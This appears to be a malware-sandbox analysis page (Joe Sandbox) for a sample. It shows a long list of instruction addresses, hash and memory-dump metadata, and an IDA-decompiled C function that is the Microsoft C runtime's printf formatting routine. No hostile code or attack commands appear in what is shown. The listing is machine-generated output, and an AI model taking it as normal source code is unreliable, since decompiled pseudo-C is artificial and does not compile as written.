0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c8
0x0043c0cd
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c0a0
0x0043c0a5
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x0043c092
0x0043c092
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c152
0x0043c157
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c137
0x0043c13c
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c111
0x0043c116
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f5
0x0043c0fa
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c8
0x0043c0cd
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c0a0
0x0043c0a5
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16e
0x00000000
0x00000000
0x00000000
0x0043c16e
0x00000000
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c2
0x0043b8c5
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c520
0x0043c527
0x0043c53e
0x0043c53e
0x0043c548
0x0043c548
0x0043c54e
0x0043c554
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c578
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c57e
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c529
0x0043c529
0x0043c530
0x00000000
0x00000000
0x0043c532
0x0043c532
0x00000000
0x0043c532
0x0043c320
0x0043c2f7
0x0043c2f7
0x0043c2fb
0x0043c308
0x0043c30e
0x0043c314
0x0043c31a
0x0043c31a
0x0043c31d
0x00000000
0x0043c31d
0x0043c2fd
0x0043c303
0x0043c306
0x00000000
0x00000000
0x00000000
0x0043c306
0x0043c25c
0x0043c25f
0x0043c269
0x0043c278
0x0043c281
0x0043c297
0x0043c29d
0x0043c2a3
0x0043c2aa
0x0043c2b2
0x0043c2b2
0x0043c2b8
0x0043c2b8
0x0043c2c7
0x0043c2cf
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x00000000
0x0043c24c
0x0043c23e
0x0043c17b
0x0043c17b
0x0043c182
0x00000000
0x00000000
0x00000000
0x0043c1b0
0x0043c1b6
0x0043c1c2
0x00000000
0x0043c1c2
0x0043c092

APIs

_get_int64_arg.LIBCMTD ref: 0043C0A0
__aullrem.LIBCMT ref: 0043C270
__aulldiv.LIBCMT ref: 0043C292

Strings

9, xrefs: 0043C2A3

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction ID: a7b01070f023e4bf1d5df7ed49ec740a5aef0635e19d32b7bc528dfb5339ed04
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: E341F5B1E001299FDF24CB88C881BAEB7B5BB89314F0451DAD148A7241C7785A81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00434DCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00434DCC(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428150(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428150(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428150(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428150(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428170(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428170(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E00428080(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E004280C0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E00428080(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E004280C0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E00434010(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E004280C0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E00428080(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C1C0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435350))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00431000( *(_t701 - 0x251) & 0x000000ff, E0041AAD0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00427FE0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00427FE0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E000();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422AF0(_t616))) = 0x16;
																	E00422880(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041AAA0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435388; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435370))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x4353b0; // 0x4bbe9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043539C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
